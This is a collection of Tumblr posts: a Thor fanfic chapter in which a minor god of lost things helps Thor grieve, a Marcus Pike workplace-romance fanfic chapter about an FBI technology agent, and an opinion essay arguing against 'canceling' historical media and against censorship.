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avengerscompound · 4 years

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Small Gods: Lost Objects - 1

Lost Objects: A Thor Fanfic

Lost Objects Masterlist | More Small Gods

Buy me a ☕ Character Pairing: Thor x F!Reader

Rating: E

Word Count: 1831

Warnings: Angst, PTSD, Grief (smut on series)

Synopsis: Thor has lost a lot in a very short period of time and he’s worried about losing himself too. He goes to the one person who understands loss.

A/N: Reader is a minor god.

Chapter 1

Thor was lost.

He had been for a while now, though it was hard to measure. Partially because he had lived such a long, long time and most of it had gone by without much disrupting his enjoyment or general world view and then all at once it was just one thing after another and he couldn’t quite seem to catch his breath.

Perhaps it had begun to lose himself back when his father had first banished him to Midgard. He had certainly felt lost for a while there, but usually, he looked back at that as the start of finding who he truly was. Becoming worthy of Mjolnir and meeting Jane had been so significant, even when he had been forced to destroy the Bifrost and watched his brother fall to what he had thought was his death, Thor has still felt himself.

After that, it was one thing after another. A barrage of pain and loss and he couldn’t keep up with it. His mother, his brother, his relationship, his father, Mjolnir, his friends, his planet, his brother again, half of the universe, more of his friends. Somewhere in all that loss and grief and guilt, he’d lost his direction and that core feeling of who he was, and he didn’t know what to do so he could stop feeling all this pain.

Then, in one single moment of clarity, he thought of you.

Midgard was not a world of gods. Gods would visit, of course, Thor himself favored the small blue planet, but the line between science and magic was large, and rarely were gods born on the planet.

Yet sometimes the magic would seep through. Maidardians liked to pray even when they didn’t know they were. They would wish for certain things or give worship to them. If enough did, then a god would be born. They were minor deities and rarely held much power. Yet they served their function and grew with the population's devotion.

None were prayed to quite as often as you.

You were not an easy person to track down. Thor knew that he had to find you in the last place he looked or else it would be not at all.

So he started at the finish. Going to the last conceivable place on the planet you might find a minor deity and announcing loudly that he would give up looking after trying the small cabin on the side of the hill. Just as he put his hand on the door handle it swung open and he was greeted by you.

Along with the cable knit sweater that was three sizes too big, spotted with holes, and frayed at the hems, you wore a pair of jeans that were obviously someone’s favorite but based on the fit, that someone was not you. You had a pair of mismatched socks on your feet, a single fingerless glove on your left hand, and a ring on every finger on your right, most of them the engagement variety.

You looked up at him and smiled. “Thor,” you said warmly. “Are you lost?”

He smiled, trying to put on the brave face he wore for everyone. He was strong after all. The strongest Avengers. If he showed weakness, then he’d be someone who wasn’t Thor, the god of thunder.

“Yes,” he said. “No. That is… maybe.”

You stepped aside and he ducked his head under the door frame and entered your cottage. It was impossibly large inside what had seemed like a tiny building. It was cluttered in the sense that a hoarder who hadn’t left the house for fifty years except to bring more things in, is cluttered. There were stacks of parcels that were addressed to other people, baskets full of socks that lacked a pair, toys, and pacifiers that looked sad and weathered, bowls sat on top of every flat surface full of jewelry in many shapes, sizes, and styles.

Thor wound his way through until he found a couch. It had seen better days and he had to move a one-eyed teddy bear to take a seat.

“Can I get you a drink? I have tea or coffee? Not much else I’m afraid,” you offered.

“Coffee,” Thor said. He wasn’t sure he really wanted it, but he was grateful for the opportunity to get his thoughts in order.

The sound of you puttering around in the kitchen was the only sound at all. Thor thought of all the things he had lost and exactly why he had come here. When you returned he still wasn’t quite sure what he was going to say. You handed Thor a mug. It was black with the silhouette of a penguin on it with the words ‘LINUX, open mind, open-source’ written on it. You had a teacup, it was floral and had gold around the rim.

“The coffee is Kopi Luak,” you said as he took the mug from you. “It was confiscated in New Zealand customs and ended up here.”

“Kopi Luak?” Thor asked.

You shook your head and sat down beside him. “The beans are passed through the stomach of an animal called a Civit before being harvested and roasted. I can’t say I approve of the process, but I am limited to what passes through here,” you explained. “Now, what is it you’ve lost?”

“My brother…” Thor said, the word coming out quickly like it was determined to jump its place in his mental queue.

“Oh, Thor,” you said, putting your hand on his. “I deal with lost things. People? They are above my jurisdiction. The prayers for lost people are more for your realm than this one.”

Thor sagged and put his cup down. He ran his hands through his hair the pain and frustration he felt almost overwhelming him. “There’s been so much. Too much. My whole family. My friends. Asgard is gone. I don’t know where to go or what to do. I feel lost and I don’t know how to find my way back out.”

You took his hand. His large palms dwarfed yours. “Thor, I am a minor god,” you said. “What you have been through is awful and if I could help I would, but I deal in socks and loose change. Your identity is yours. You still have it. It’s here -“ you touched his forehead and moved your hand to his chest just above his heart. “- and here.”

Tears pricked Thor’s eyes and he wiped them away in frustration. “I don’t want to feel this way anymore.”

“That I can understand too well,” you said. You wrapped your arms around him and very gradually he let himself sag into your arms. “You are very young,” you said quietly. “It is a large burden to carry. Can I give you some advice? I can’t promise it will be good.”

“Please,” he said, his voice cracking with the desperation he felt.

“Grieve, Thor,” you said. “It isn’t weak to love people. It isn’t weak to feel pain at their loss. Let yourself have your sorrow. Feel it. Let it out. I am a god on a planet of mortals. I have lost more than has ever come to me. They were your parents and your brother. Your friends. Your home. You loved them all and now they are gone. That is terrible. It’s terrible, Thor. They didn’t deserve that and neither did you. Grieve. Feel sad. Cry. Wail. Scream. If you don’t experience your grief, you lose more of yourself than you can possibly know.”

“I am the strong one,” Thor said. “I can’t show such weakness.”

“There is nothing weak about experiencing your emotions,” you said gently, your fingers tangling into his hair and massaging his scalp. “Besides, who do you need to be strong for now. It is just me here, everyone else is gone.”

He wrapped a large arm around your lap and he started to cry. It started small and silent, his tears just running down his cheek as he pressed his face into your lap. Soon he was crying in big wracking sobs. He cried for his mother and his father. He cried for Loki. For Jane. He cried for Heimdal and Fandral and Volstagg. For Asgard, the home where he grew up and had so many happy memories. He cried for the people he couldn’t save and for the ones he did that he let down when he didn’t have the strength to lead them. He cried for dwarves on Nidavellir and for Mjolnir the weapon they had forged him and was like a friend in of itself. He cried for Natasha and Tony. And for the fact that one day he would lose all the rest too.

You held him, never once telling him to quiet. You just let him cry in your arms, your fingers moving over his scalp and caressing his hair.

As the tears slowed and then stopped he felt a strange sense of relief. He didn’t feel better, but lighter perhaps. He sat up and wiped his eyes. “Thank you.”

“You have nothing to thank me for,” you assured him. “Come; there is something I have which might interest you.”

You got up and he followed after you. You led him past more parcels and piles of letters. They started to appear yellowed with age and as he wound through the room the artifacts got older too. Barrels of spice and coins from countries that no longer existed. Looms of silks that had been damaged by saltwater. You stopped at a table. It was remarkably bare except for a piece of velvet draped over a small pile in the middle. You lifted the plush fabric and revealed a pile of broken metal and what was clearly the handle of Mjolnir. He knew it better than he knew himself. The length that was too short due to Loki’s meddling. The intricate scrollwork on the cap that held the leather strap he used to keep hold of it. The dark wood with the silver swirling up its length. It was his hammer, broken but his.

“Each time you prayed that it could be returned more of it came to me. There is still some missing but if you want you can stay. Pray for it at night and I think together we can repair it,” you explained.

“Are you sure you don’t mind?” Thor asked as he ran his hand over Mjolnir’s handle.

“It would be an honor,” you said, putting your hand on his shoulder. “It’s been a long time since I’ve had company and it’s never been from someone of your status.”

He turned and looked at you, a frown forming on his face as you smiled up at him. “I am not a king.”

“I’m not sure that’s true,” you said. “But if you believe it is, then you are one step closer to finding what you’ve lost and I guess I can help after all.”

// NEXT

#thor #thor x reader #thor odinson #thor fanfic #fanfic #fanfiction #reader insert #small gods #lost objects

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mxndoscyarika · 3 years

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Honeydew (Marcus Pike/Moreno x OC) | Chapter 1

Summary: Erin He moves to DC after working for the FBI in Texas and runs into a hero in disguise; Marcus Moreno. Something about him is familiar, too familiar, yet different in a way that she can’t quite place. Although confused, she can’t deny her feelings for him; perhaps, after years of regret, she finally found the one.

Warnings: food/drink mention

Ao3

Honeydew masterlist

Like my writing? Here’s my masterlist.

Author’s Note: I’m so excited for you all to read this story! Special thanks go to Lynn (@mindless--ramblings) for always being so supportive and helping me stay inspired! Ever since I found out Pedro now has two characters named Marcus, I’ve wondered about ways I could connect them in one piece of writing. And this? This is that piece of writing. Moreno won’t be making an appearance in this one, but I hope Pike will make up for that 😉 Enjoy!

Ground floor.

First floor.

Second.

Erin He took a deep breath, thankful that the elevator was empty. She straightened the collar of her shirt as the fourth floor approached. At her side was her government-issued laptop, which she’d picked up from the front desk. Her fingers gripped its edges tightly. This was it. She made it.

The elevator let out a soft ding and opened its doors, revealing a floor of cubicles and conference rooms. Austin sunlight filtered through large windows, illuminating the space alongside the bright fluorescent lights.

She stepped out, searching for the art theft department’s main office. As much as she understood the need for technology specialists across all the FBI’s branches, she never quite grasped why she was placed in the art theft department, of all places. She always thought she’d be in the operational technologies department, developing and maintaining tools for others to use. Though she couldn’t blame them; intellectual property was highly valued and often stolen.

The email said to report to the department supervisor’s office for a quick onboarding, but they didn’t exactly mention what it would be. It could’ve been anything from a quick handshake to being told to shadow a coworker. Hopefully the former.

Part of her begged to the gods of computer science that she wouldn’t be assigned to yet another condescending old white man. Her last welcome at a company had been less than mediocre, and lukewarm at best.

The other part of her nagged that she’d signed up for exactly that.

“Ah, there you are. Welcome to your first day, Special Agent He,” the department supervisor–Harold Strauss–greeted as she entered his office. He gestured to the man standing in front of his desk. “This is Agent Marcus Pike. He will be showing you the ropes today.”

Agent Pike looked at her over his shoulder, the corners of his lips curling in a friendly smile. He couldn’t have been much older than her, with his faint smile lines and soft brown hair. He tucked his hands into his pockets and turned around to face her.

“Thank you, sir,” she replied. She shook his hand and then extended her hand to Pike. “Nice to meet you. Thanks for taking time out of your day to show me around.”

“Likewise,” he replied, shaking her hand. His brown eyes sparkled as he proposed, “Should we start? I have a meeting in about half an hour, and I’m sure you’ll want to meet some of our operational techs and digital forensics team. They’re the backbone of everything we do here.”

They acknowledged their supervisor once more and then left to begin the tour.

As her personal guide gave her the rundown of the floor’s organization and workflow, Erin couldn’t help but sneak a couple more glances at him.

He was taller than her by a few inches, but not in such a way that she felt like shrinking into herself. And he always stayed at her side, never walking ahead or lagging behind. His strong jaw led her gaze to a pair of soft lips, which seemed to be in a perpetual smile as he talked about the breakthroughs the department had in the past days.

“Do you know where your desk is?” Pike asked.

“Yeah, they told me the other day,” she answered, tucking a loose strand of her hair behind her ears. They walked over to her assigned desk, which was barren save for a standard computer, box of pens, and notepad. “If you’re going to ask if I need help with setup, I think I should be alright for now. Nothing a few installations and linux commands can’t fix.”

He chuckled softly and nodded. “You’re living up to your title, Agent He. If I’m being honest, I don’t think I could’ve been much help even if I offered. Have you done work similar to this before?”

She shrugged. “I worked in cybersecurity and software development,” Erin replied, setting down her bag and laptop on her desk. Slipping off her black blazer, she continued, “But I figured I should do something more than just build products for tech companies. Use my skills to aid in investigations.”

He nodded in understanding. “I see what you mean. Actually, I was originally studying to be an art history professor. But then I found this job and figured I could use my knowledge to help find and preserve artworks.”

Hm, noble.

“Sounds like we aren’t so different,” she observed, following him across the officespace. “Let’s hope that I can be of help around here.”

He chuckled softly, the dimple in his cheek showing as he smiled. “I think you’ll fit right in.”

---

The words on the screen blurred into the white background of the screen, as if they were mocking her. Each line of test slowly lost its meaning, turning into mind-numbing strings.

Erin pushed her computer away and rubbed her eyes defeatedly, sighing. The department was launching an investigation regarding a museum that was broken into and wiped clean. What little data was left on the computers, from what she gathered after hours of poring over them, was largely useless. Hopefully, one of the other agents would find something helpful in the other remnants. Perhaps an address, or some sort of signature that could be traced to a group. Her, on the other hand? She just wasted hours of work.

A steaming cup of coffee was set down onto her desk, along with some sugar and tiny cups of cream.

She looked up to find Marcus–Pike, she reminded herself–standing at her side, looking down at her with a soft smile. “Find anything?”

“Nope,” she sighed. It turned out that Pike was one of the best agents in the department, and that meant he spent most of his time leading and organizing investigations. What that meant for Erin, then, was that she had to answer to him. Thankfully, he was never weird about it. Quite the opposite, actually. Tapping the side of the cup, she asked, “Is this for me?”

He laughed softly, rubbing the back of his neck. “Yeah! Sorry; I would’ve fixed it, but I wasn’t sure how you liked your coffee.”

“Well it’s nothing complex, if that’s what you’re nervous about,” she teased. Two sugars and a drizzle of cream turned the pitch black liquid into a deep brown. She took a sip, the placebo of caffeine already kicking in. “When you’re in STEM, you learn to appreciate caffeine in any form. But I like it like this.”

“Noted,” he said, his voice a soft timbre amongst the flutter of papers and clacking of keys. Hands resting on his hips he asked, “How long do you think it’ll be before you find anything?”

“Anywhere from an hour to another three...or five,” she sighed, lazily scrolling down the file. Basking in the steam from her cup, she continued, “I’m gonna need a lot more of this coffee. There has to be something useful in this file, I just need to find it. I might need to cross-reference with some of the other evidence to notice anything.”

A headache was already descending upon her, and she was only six hours in. Weak–she’d stared at a computer much longer without any problem many times before. Why, of all times, did it have to happen when she was talking to her coworker?

“Well, I’ll be here pretty late tonight, so if you need anything, just let me know,” he replied, patting her shoulder. The crease between his brows deepened as he squinted down at the screen. “Maybe you need a fresh set of eyes on it. Take a break, Erin.” At her responding pout, he reasoned, “It’s been almost a month and I don’t think I’ve ever seen you rest.”

Of course he noticed her breaks, or lack thereof. She rolled her eyes, hiding a bashful smile in her cup. “I work best in sprints.”

He hummed amusedly. “But even sprinters need breaks, don’t they?” Then, his eyes lit up. “Actually, why don’t you take a break now?”

Erin raised a brow. “Am I not taking a break right now?”

His laugh was warm. “I mean a real break. Let’s get lunch; my treat.”

“Are you really going to make me choose between food and digital forensics, Agent Pike?”

Nodding definitively, he replied, “Yes, Agent He.”

Unable to resist the prospect of free lunch, she gave in and followed him out to his car. The work would still be there when she returned. For the moment, she could just enjoy Marcus’s companionship.

He drove out to a local diner about ten minutes away, his turns confident as if he’d gone there hundreds of times before. Judging by the way his eyes had sparked with joy at her agreement, he probably had.

They let their shoulders relax in the serenity of the car, shedding the formalities and passing time as if they were close friends.

The diner was small and cozy, booths worn with age and serving breakfast all day. Erin’s lips curled up in a little smile as the hostess recognized Marcus. So he was a regular, after all.

They sat down across from each other in a booth. Erin shrugged off her navy blue blazer and smoothed her dark hair back into a thick ponytail.

As she fixed her hair, Marcus gave her his recommendations, leaning in with the menu so she could follow along with her eyes. He seemed particularly fond of the pancakes, so she decided on those. Surely he wouldn’t lead her astray.

And with the way his voice rasped just slightly, she could listen to him speak for a whole day.

“Honey? Did you hear anything I said?” he asked, tilting his head slightly with a little smirk.

Erin snapped out of her reverie, cheeks burning. “Oh, um. Yeah. Sorry, I spaced out for a bit.”

“No worries, it happens to all of us,” he reassured, laying the menu flat on the table. “What were you thinking about?”

Less than an hour had passed before they were back in the office, stepping out of the elevator with full bellies. The familiar clicking from computers and buzz of conversations filled the air, and they were officially agents again.

Erin turned to him and nudged his arm. “Hey, thanks for the break.”

“Anytime,” he replied, walking with her along the perimeter of the room. They stopped at the hallway leading to the conference rooms and offices. His large hand moved to rest on her arm, his thumb rubbing gently. “I guess this is my stop. You know where to find me.”

“And you know where I’ll be.”

The next day, Marcus was greeted in his office by tupperwares containing homemade fried rice, some cut up fruit, and a sticky note.

Thanks for sticking with me yesterday. -E

The corners of his eyes crinkled as he tried to refrain from grinning like a maniac, though he was sure anyone who happened to pass by would’ve thought he looked like a schoolgirl with a crush. Erin’s handwriting was soft and curved, so similar to calligraphy but simple in a way that made the note feel that much more intimate.

She had an interesting way of showing her care for others, he found. Perhaps it was a byproduct of the work she dedicated her life to; she seemed to always be one step ahead, ready to pull out small details that others would dismiss. He wondered what she might know of him.

There were a few things she clearly knew; things that surprised him every day. Just as he’d learned her usual coffee order, she’d learned his. When he’d walk in every morning, her head of dark hair would tilt to peek over her cubicle, as if she could sense his presence. And when their eyes would meet, her smile was better than the best espresso in the world.

Marcus shook his head to himself as his heart fluttered. Years of failed relationships and a divorce later, he still couldn’t keep his feelings in check. His mother always said he had a soft heart, one that would be his greatest strength and his greatest weakness. But Erin was anything but a weakness.

She wasn’t a weakness, but a strength. A constant in his life, making each day feel just a little more special. He didn’t need a relationship to be happy, but….he wouldn’t be opposed to one either.

Yet, as he spotted Ian Malarkey standing a bit too close to her, he forced himself to backtrack. What if she didn’t want him? What if they were meant to be just as they were: just friends?

Maybe it was time for him to move on.

After a few months, their friendship had grown well past a workplace acquaintance. It wasn’t as if she was trying to get attached to him; it just...happened. And it was only a little surprising to her; she tried to stay as professional as she could in the office, but outside? Outside, she could just be Erin, not FBI Special Agent He. Outside, she could shed her jacket and swap the button-down shirt for a ribbed sweater and some jeans. Outside, she and Marcus could sit as close together as they wanted without drawing unwanted attention.

She knew it was silly to fantasize. After all, Marcus was a coworker, if not a superior. And with the way he fussed over her water intake and made sure that she wore her glasses at the right times, he could easily see her as a little sister. As nothing more than a new agent who happened to be friendly.

But if that were true, why would he go through the effort of bringing her lunch on Thursdays? Why did he call her little names like “honeydew” and “sweetheart,” and why did it feel so natural coming from his mouth?

The commotion coming from the direction of the conference rooms told her that the team was back from the investigation. Maybe Marcus was there; she knew he’d gone, but he hadn’t texted since morning. It wouldn’t hurt to pop in to check on him; he did that often enough with her.

When she entered the break room, her heart sank. Sitting off to the side, by the wall, was Marcus asking Teresa Lisbon out on a date. She wasn’t sure why she felt defeated; it wasn’t like she had any plans on asking him out.

But then why did it hurt her to the core to see him giving those puppy eyes and little smiles to Lisbon? The woman didn’t even look interested in him; if anything, she looked confused and hesitant.

Ian caught her eye as she surveyed the room once more, his lips pulling into a tight-lipped smile. He knew about her feelings for Marcus, having spent hours going over evidence and making small talk. In fact, he’d even encouraged her to tell Marcus her feelings, out of fear that she might never get the chance.

Perhaps her chance had passed after all. Turning on her heel, Erin decided that, for once, it was time to go home. Marcus would come to her when he was less busy.

The thing was, though, she didn’t want to go home. She wanted to go over and say hello, and check to make sure he wasn’t injured in the scuffle. Moreover, she didn’t want to be a fill-in for Lisbon’s absence. She didn’t want to be his second choice. And she knew it wasn’t her fault, nor Lisbon’s, that Marcus didn’t choose her. But it still stung.

She watched as their shared lunches became less frequent, the senior agent replacing her space by Marcus’s side. When the elevator would ding at 7AM and she’d glance up to see if it was him, she found him searching the room for Lisbon. They never drifted over to her desk. That fact always made her grip her pen just a little tighter.

On the days when he did grace her with his presence, she felt like a tornado of emotions.

Happy, because she had missed her best friend.

Sad, because she knew the next time she’d spend time with him was in a few weeks rather than a few days.

Grateful, because she knew how hard it was to socialize after a work week of at least 50 hours.

Envious, because of the stories he told.

Relieved, because he still cared.

Plastering a halfhearted smile on her face, Erin listened to Marcus practically worship his girlfriend. His summer breeze of a smile and sparkling eyes made the pain that came with listening worth it. The only other time she’d heard him talk that passionately was when they’d visited an art museum.

At least one of them was happy.

She thought of trying to date again; it had been over a year since she’d been in a relationship. But she couldn’t do it. More than once, she’d put on some simple makeup and casual clothes, ready to head out to the bar, but no. She couldn’t bring herself to leave the apartment. The apartment was where she and Marcus watched movies, where she would cut up fruit and bring them to him on a plate while he pored over reports in the warm lights of the kitchen. It was where he’d navigate her cupboards and fridge to make her a mug of his special hot chocolate. It was her safe space, the one place in her life where she could just be Erin, and he could just be Marcus.

The knife cleaved the melon in half with ease, revealing its pale green interior.

Marcus leaned up against the counter next to her, hair tousled and necktie loosened against his chest. He absentmindedly started rolling up his sleeves, undoing the cuffs of his shirt and folding them up.

She tried not to stare too long at the way his forearms tensed with the movement.

He broke the silence first. “I got the job in DC,” he said, voice soft like velvet.

“That’s great.” A simple response, though Erin cringed internally. Was that any way to react to her best friend’s job promotion? Surely not, but a part of her–a selfish part of her–knew that it meant he was leaving. Leaving not just his position, but her. Texas. The apartment.

It would’ve been disingenuous for her to say anything more.

Then, he added, almost sheepishly, “I also asked Teresa to marry me. And move to DC so we can be together.”

The blade of her knife hit the cutting board a little harder than normal. “Oh. That’s nice.” Cutting away the tough outer skin, she forced herself to ask, “What did she say?”

He sighed and crossed his arms, biting his lip as if to contain a smile. “She said she’d think about it. But I think she’ll come around. I kind of, uh, sprung it onto her the other night.”

And yet there he was, standing next to a woman who would’ve been ready to say yes. But even so, she said, “I’m sure things will work out between you two. You’ve already given so much to your relationship; it would be a shame for her to not see how great you are.”

She slid him a bowl of perfectly cubed melon.

Smiling softly, he took the bowl into his hands. “You’re the best, honeydew.”

The best, but not the one.

“You’re just trying to get on my good side before you leave for DC, brown eyes,” she jested, nudging him with her elbow. Her chest filled with warmth at his laugh. She tried her best to hang onto that feeling, to that sound. “When are you two leaving?”

“I’m already about halfway packed,” he mused, chewing on a cube of honeydew thoughtfully. “So maybe within the week? I hope that’s enough time for Teresa to make a decision.”

There was less time than she thought. She hummed softly. “Are you sure that’s what she wants? That it’s what you want?”

He nodded confidently. “Yes, I...I know that I don’t have the best track record with relationships, but something about her feels right.” The bowl was set into the sink and filled with water. “I’m happy, honey. You don’t have to worry.”

Erin’s eyes burned as she quietly replied, “Okay.”

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citrineghost · 3 years

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Humans Are Historically Known for Being Terrible

Hi I’m here with an opinion today. Let’s see how many words it will take for me to adequately get it across on this very fine 15th of January

I personally believe canceling things from the past* is fruitless, pointless, and accomplishes about as much as censorship does

*We aren’t talking about shit like nazi Germany, let me elaborate further

So, as I occasionally do, I have seen a post on my dash today criticizing something historical that people are ‘problematically partaking in.’ That thing today was the wellerman sea shanty due to its ties with colonialism, slavery, and so forth.

I’m not going to dive into this specific example, because I don’t know enough of the details and am not interested in going to find them out because I’m not planning to defend it or its history, so there’s no point. I learned what I needed to know from said callout post and it’s enough to work with.

To me, it is important that we remember that people, in general, have been historically pretty terrible.

There’s colonialism, there’s slavery (of all kinds, including chattel), there’s thievery, murder, genocide, sexism, the murdering of queers. There’s lying, manipulation, propaganda, and so many more things that I couldn’t possibly list them all. I’m not saying that everyone was equally shitty. I am aware that, especially in the most recent couple hundred years, white people, especially Western Europeans and Americans, have been pretty Shite.

Am I excusing them for their actions? Absolutely not. I think it is always important to bear in mind the way they played a part in cultures’ growth, death, and, ultimately, development from one year to the next.

The reason I’m pointing this out is because the result of people being historically shitty is that most, if not all, of our historical content, our history, is steeped in horse manure.

There is not one thing you can enjoy from centuries - even decades - passed that is not here because of something inhumane, unjust, or otherwise terrible.

The only thing keeping us from canceling every other historical thing that we enjoy is our lack of awareness of how each thing ties into the whole mess.

So, we’ve learned that wellerman was sung by slavers and thieves and colonialists. What about that nice little folk song from uh, idk, Ireland or something? Let’s take this metaphorical song and ask the question, “who wrote it?” The truth is, for many folk songs, we just don’t know. There is a very very good chance that 90+ percent of nice, soft folk songs about lying in the grass or feeding chickens or baking bread for your spouse were written by racists, sexists, abusers, homophobes, and so forth.

Does that make it wrong to enjoy that song about lying in the grass and looking at the stars? I don’t think so. No one is profiting off of you listening to it, regardless of who wrote it. It’s hundreds of years old. Do you even know the name of who wrote it?

Remembering that times were different may not absolve something of its wrongdoing, but it does provide us context.

We have to allow ourselves to admit that most, if not all, historical things, came from or benefitted from atrocities or injustices that we would not stand for today. That’s just how human progression works. Frankly, if people 200 years from now don’t look at US, CURRENTLY, and think we’re terrible assholes, I am actually very concerned by that.

The nature of humanity is to get better and better over time and to build a world and a society where we don’t feel the need to be controlled by greed or to consume unethically. The problem is, it takes time. It takes lots and lots of time. Would it take less time if certain people weren’t terrible, terrible people? Yes it would. But they are, and so it doesn’t.

The fact is, human progression and improvement will never reach its end because, as things improve, our perception of our past actions will change as well and we will begin to realize that what we were doing wasn’t acceptable and is no longer necessary nor excusable.

Hate Jeff Bezos? Look around and see that 90% of people still buy from Amazon, because it provides the only affordable source of many products for people who don’t make enough money under capitalism to buy from a small business.

Hate Bill Gates? How many of us are willing to switch to Linux to quit using Microsoft? Speaking of Microsoft, they own Minecraft. Do we stop playing Minecraft?

Think Steve Jobs is a terrible person? Why are people still buying iphones, ipads, and macs? Why don’t we stop buying those so that he and current CEO, Tim Cook, quit making billions of dollars?

These are just a tiny amount of examples, using big names. We also must consider, if you have 100 books on your bookshelf, how many of the writers of those books are racists, homophobes, sexists, or abusers? I guarantee you it’s a non-zero answer. The thing is, an author who’s relatively nobody is not someone who gets canceled. No one knows anything about them but that they wrote a neat work of fiction and it’s a good book.

The question is, should we be expected to quit buying, consuming, and enjoying things made by problematic people?

In some cases, the answer should be yes. If someone is currently profiting massively from people consuming their media or products and people are ignoring their atrocities, that person could end u making millions or billions of dollars despite being terrible, which is something that undoubtedly affects all of us, economically.

In the other cases, the answer should be, do you want to? If you’re not comfortable with something, you should, of course, stop consuming it. If you can ignore the thing, you might not need to bother. And, that doesn’t necessarily mean you’re excusing it.

If we look at all of humanity, even in the present day, mathematically speaking, 50% of people are more bigoted and terrible than the rest. There’s no other way for it to be. Less than 50% would be a mathematical fallacy. Does that mean we only consume content from the better 50%? Does that mean we rigorously research producers and creators and their personal lives only to decide it’s not worth the risk of ‘contributing’ because they have no trace online except for a private Facebook account? Is them having a Facebook account enough of a ‘sin’ that it’s not worth it to buy their book?

This brings us to the censorship point

If you know your history, you know that censorship is a nasty thing. When one person decides who or what is unethical to consume from, they sometimes seek to get rid of that thing so that no one has a choice - so that no one is Allowed to consume that thing.

This has led to book burning, the destroying of decades and centuries of research about sexuality and gender. It’s destroyed religious texts. It’s destroyed content created by women that painted any single man in a bad light. It’s destroyed progression.

“But I only want to get rid of the bad thing that everyone agrees is bad!”

It doesn’t matter. If you open the door to censorship for yourself, those who wish to use it for worse reasons will become just as justified, in their own eyes, to do the same. You’ll have Christians saying it’s okay to get rid of gay content because it’s objectively wrong according to the bible. You’ll have conservative parents burning books with complicated topics like abuse and assault because they don’t want their children to have access to anything controversial or complex like that.

You cannot open the door to censorship for one group without opening that door for everyone. And that is why we do not censor things.

The question then becomes, but what of the people consuming that media? Even if it’s not censored, consuming it still makes someone bad, right?

Not necessarily. People consume problematic stuff all the time - things considered objectively bad. However, people don’t always consume said media because they support it being normalized in the real world. For example, fanfiction or books with rape in them may be something a victim reads to cope with their own past or present. A book with abuse depicted may actually make a young teen aware that what they’re going through is abuse. Content largely seen as ‘problematic’ can often play a part in solving the problem it portrays.

Then there’s historical, problematic media. Now, this is an area where I feel things have actually been OVER complicated.

Because everything historical has some tie to injustice, there is no ethical way to consume it.

There is no ethical consumption under passed time.

So, how do we judge whether something should or shouldn’t be consumed? It is my opinion that something historical should stop being consumed and become shunned when its meaning is well-known enough and its message is still pervasive enough that it is actively causing problems.

For example, we generally try not to consume content when it is made by someone who is a known nazi. This is because nazis are still a problem in our society, presently. We have antisemitism all over the place. Therefore, we cannot let the message become that it is okay to be a nazi by way of us treating nazis like normal people and allowing them to succeed in society without consequence.

However, there are certain problems that are no longer particularly prevalent or which are agreed to be terrible on a large enough scale that consuming the content does not necessarily imply you believe it is okay. For example, if you look at literally any media from the 1800s or which is placed in the 1800s, you will see a lot of casual sexism and gender roles. Should we despise that time period because sexism was readily available at every turn? Should we refuse to enjoy 19th century fashion or culture because it had problems? I think not. I think it would be pointless to refuse to consume, read about, or otherwise engage with the 19th century. It wouldn’t change the past and it isn’t going to somehow undo the progress we’ve made on women’s rights.

As a matter of fact, if someone merely suggested that perhaps the people of the 19th century were right for forcing women to wear long dresses and darn socks all day, they would be laughed into oblivion and called a shitty, sexist incel (which would be correct).

Does enjoying media from or placed in the 19th century mean you support sexism? I certainly hope not, since I enjoy it very much and know a lot of progressive people, women especially, who do enjoy that kind of thing. It is common sense enough, at this point in time, that people don’t generally believe that the sexism of the 1800s was acceptable. I am not going to see someone watching a period drama and assume they desire for our present-day social laws to be like what’s portrayed. That would be a ridiculous assumption. However, I could not assume the same about someone I saw watching openly antisemitic content. I would quickly wonder if they’re an antisemite/nazi/white supremacist.

So, what about that one thing I heard had a sordid past?

Listen, if we’re being honest here, most things from history have a sordid past. Sea shanties? You bet. But then when we talk of sea shanties being steeped in colonialism, we have to look at the bigger picture. What about pirates? Pirates were, by and large, a huge contributor to slavery, theft, colonialism, and murder. Does that mean enjoying media with pirates is glorifying or contributing to slavery, theft, colonialism, and murder?

(I’m about to talk a lot about pirates but this can be applied to anything that was historically bad but is no longer prevalent)

Pirates of the Caribbean is only a movie, but pirates did once exist and they did kill people. They did raid ships of merchants and tradesmen and they killed them and stole their goods. They took many good men from their families and even killed working children aboard the ships. Does that make enjoying pirates in media a contributor to these things? No. It doesn’t. We are looking at a dramatised, cleaned up version of the original piracy. I think most people are aware that pirates, in the real world, are bad and harmful and should not be supported. That doesn’t make pirate media any less fun in theory, and under our own terms.

Then we arrive at our perception - because most of this does come down to perception. When you watch pirate media, should you enjoy that, are you able to divorce yourself from their actual history enough to enjoy the media? If you can, you might enjoy it a lot. If you can’t watch a movie about pirates without thinking the entire time about how terrible they were and how much damage they did, then pirate media just isn’t right for you. But, it doesn’t mean you should attempt to take it away from others. Your opinion and perception of pirate media is not the global perception.

I have to ask, do you think others view it the same way you do?

When you read that question, you may be wondering what exactly I mean. What I’m asking is, do you believe others view that media with the same “clarity” that you do? Do you believe they understand the atrocity of real pirates and Feel that the entire time they watch the media and still enjoy it anyway?

Perhaps that’s why your response to someone enjoying something you feel guilty partaking in is, “these people all must not care about the real-world damage pirates did. The fact that they can watch this (despite sitting here and feeling the same things I do) makes me sick.”

However, if that is the case, you must remember that for a lot of people, the awareness of real world consequence is suspended during dramatised depictions of it. It doesn’t mean they have forgotten about the real-world consequences of piracy or that they don’t know it at all. It just means they are choosing not to think about it in that light while consuming media.

There is also the assumption that people must not know about something when partaking in it. You may think, “How can they enjoy this media? They wouldn’t be able to stomach it if they realized what really happened with pirates.”

In many instances, you would be correct. A lot of people are ignorant to what pirates have done in the real world. If you told every ignorant person the truth, maybe 5% of them would then become turned off by pirate media, and the other 95% would keep the truth in mind and then divorce themselves from it to continue enjoying said media.

There are realities that it is safe to divorce yourself from, and there are those that are not.

Is allowing yourself to enjoy dramatizations of pirates making you ignorant to present day conditions? Not largely. There are still pirates today, but not nearly enough for the average Joe to need to take them seriously. Those who need to know about them and do something to stop them are aware.

However, it is not safe to divorce yourself from, for instance, the holocaust. Divorcing yourself from the holocaust and seeing it as merely a dramatic setting with dramatic events and not a present-day real-world problem is exactly the kind of thing that leads to young teens being sucked in by white supremacy and naziism as well as what leads to many average conservatives believing the rise in white supremacy isn’t actually real or is not a big deal. They have distanced themselves so far from the real-world atrocity of the holocaust that they have forgotten it was real and that real people, like them, were contributors. They don’t want to believe that everyday people had any power in it and that it was tiny acts of willful ignorance that made concentration camps so successful.

All in all, there is a different answer for everything we consume.

